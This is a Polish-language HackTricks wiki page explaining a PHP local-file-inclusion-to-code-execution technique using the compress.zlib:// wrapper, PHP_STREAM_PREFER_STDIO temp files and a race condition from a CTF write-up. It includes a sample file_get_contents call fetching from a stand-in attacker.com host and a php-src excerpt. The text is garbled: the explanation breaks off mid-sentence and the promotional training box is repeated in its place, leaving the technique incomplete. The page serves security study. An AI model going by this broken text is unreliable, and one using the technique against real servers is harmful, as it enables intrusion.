# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure {% hint style="success" %} Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
{% endhint %} ### `compress.zlib://` i `PHP_STREAM_PREFER_STDIO` Plik otwarty za pomocą protokołu `compress.zlib://` z flagą `PHP_STREAM_PREFER_STDIO` może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku. To oznacza, że wywołanie takie jak: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Wyśle żądanie o http://attacker.com/file, wtedy serwer może odpowiedzieć na żądanie ważną odpowiedzią HTTP, utrzymać połączenie otwarte i wysłać dodatkowe dane trochę później, które również zostaną zapisane w pliku. Możesz zobaczyć te informacje w tej części kodu php-src w main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Warunek wyścigu do RCE [**Ten CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) został rozwiązany przy użyciu poprzedniego triku. Atakujący sprawi, że **serwer ofiary otworzy połączenie, odczytując plik z serwera atakującego** za pomocą protokołu **`compress.zlib`**. **Podczas** gdy to **połączenie** istnieje, atakujący **wyeksfiltruje ścieżkę** do utworzonego pliku tymczasowego (jest ujawniana przez serwer). **Podczas** gdy **połączenie** jest nadal otwarte, atakujący **wykorzysta LFI, ładując plik tymczasowy**, który kontroluje. Jednak w serwerze WWW istnieje sprawdzenie, które **zapobiega ładowaniu plików zawierających `[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
{% endhint %}